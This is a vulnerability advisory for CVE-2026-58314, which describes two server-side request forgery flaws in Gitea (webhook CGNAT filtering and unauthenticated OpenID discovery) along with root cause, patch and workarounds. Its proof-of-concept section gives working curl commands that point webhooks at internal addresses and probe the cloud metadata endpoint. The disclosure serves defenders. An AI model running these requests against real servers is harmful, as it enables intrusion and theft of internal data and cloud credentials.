high · 7.7CVE-2026-58314Jul 21, 2026

CVE-2026-58314: Gitea SSRF via Incomplete IP Classifier and Unguarded OpenID Discovery

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Gitea's outbound HTTP filter lets requests reach CGNAT addresses (used by Tailscale, AWS, and Kubernetes) that Go's standard library does not classify as private, and the OpenID login form fetches any

Packagecode.gitea.io/gitea
Ecosystemgo
Affected< 1.27.0
Fixed in1.27.0

The problem

Gitea guards webhook delivery and repository migration with a `net.Dialer.Control` hook that calls `MatchBuiltinExternal`. That check uses Go's `net.IP.IsPrivate()`, which only covers RFC 1918 and RFC 4193. It misses CGNAT (100.64.0.0/10), NAT64, 6to4, Teredo, SIIT, and several reserved test ranges.

Any logged-in user can create a webhook pointing at an internal CGNAT address. The full HTTP response (status, headers, up to 1 MB of body) is stored in the webhook delivery log and rendered to the owner on the hook detail page. The same classifier gap applies to repository migration.

Separately, the OpenID sign-in form at `/user/login/openid` passes the user-supplied provider URL directly to `openid-go`, which uses `http.DefaultClient` with no transport customization and no IP filtering. No authentication is required. When OpenID sign-in is enabled, anyone on the internet can drive Gitea into making arbitrary GET requests against internal addresses, including loopback and cloud metadata endpoints.

Proof of concept

A working proof-of-concept for CVE-2026-58314 in code.gitea.io/gitea, with the exact payload below.

bash
# Finding 1: webhook SSRF via CGNAT (authenticated, response exfiltrated)
TOKEN=$(curl -s -u attacker:pw -X POST \
  http://gitea.example.com/api/v1/users/attacker/tokens \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","scopes":["write:repository","write:user"]}' \
  | sed -n 's/.*"sha1":"\([^"]*\)".*/\1/p')

# Create webhook pointing at CGNAT internal service
curl -X POST http://gitea.example.com/api/v1/repos/attacker/repo/hooks \
  -H "Authorization: token $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"type":"gitea",
       "config":{"url":"http://100.64.0.2:8080/internal","content_type":"json"},
       "events":["push"],"active":true}'

# Trigger delivery; response is captured in hook_task.response_content
curl -X POST http://gitea.example.com/api/v1/repos/attacker/repo/hooks/1/tests \
  -H "Authorization: token $TOKEN"

# Read response (status, headers, body) from webhook history UI
# GET http://gitea.example.com/attacker/repo/settings/hooks/1

---

# Finding 2: unauthenticated blind SSRF via OpenID discovery
curl -X POST http://gitea.example.com/user/login/openid \
  --data-urlencode 'openid=http://169.254.169.254/latest/meta-data/'
# Gitea issues two server-side GETs (normalize + endpoint discovery) to the supplied URL
# with Accept: application/xrds+xml - useful for port scanning and IMDS probing

Finding 1's root cause is `MatchBuiltinExternal` in `modules/hostmatcher/hostmatcher.go`. The guard checks `ip.IsGlobalUnicast() && !ip.IsPrivate()`. Go's `IsPrivate()` only covers 10/8, 172.16/12, 192.168/16, and FC00::/7. CGNAT (100.64.0.0/10) passes both predicates and is therefore allowed.

The patch adds an explicit deny list of non-routable prefixes (CGNAT, NAT64, 6to4, Teredo, SIIT, test ranges) and gates the `external` builtin with a third condition: `!isNonRoutable(ip)`.

Finding 2's root cause is in `modules/auth/openid/openid.go`. The module delegates directly to `openid.RedirectURL` from `github.com/yohcop/openid-go`, which uses a package-level `defaultInstance` backed by `http.DefaultClient` with no dialer controls. The patch replaces the package-level calls with a dedicated `openid.NewOpenID` instance whose `http.Client` uses a `hostmatcher`-controlled `DialContext`, applying the same `MatchBuiltinExternal` allow-list (with the new prefix coverage) to all discovery fetches.

Both findings are CWE-918 (Server-Side Request Forgery).

The fix

Upgrade to Gitea 1.27.0 (fixed in PR #38406). The patch adds an explicit non-routable prefix block list to `modules/hostmatcher/hostmatcher.go` and wires a filtered `http.Client` into a dedicated `openid-go` instance in `modules/auth/openid/openid.go`. As a short-term workaround, set `ALLOWED_HOST_LIST` in `[webhook]` and `[migrations]` to an explicit CIDR allow-list rather than relying on the `external` builtin, and disable OpenID sign-in (`ENABLE_OPENID_SIGNIN = false`) if it is not needed.

Reported by xclow3n.

References: [1][2][3]

Related research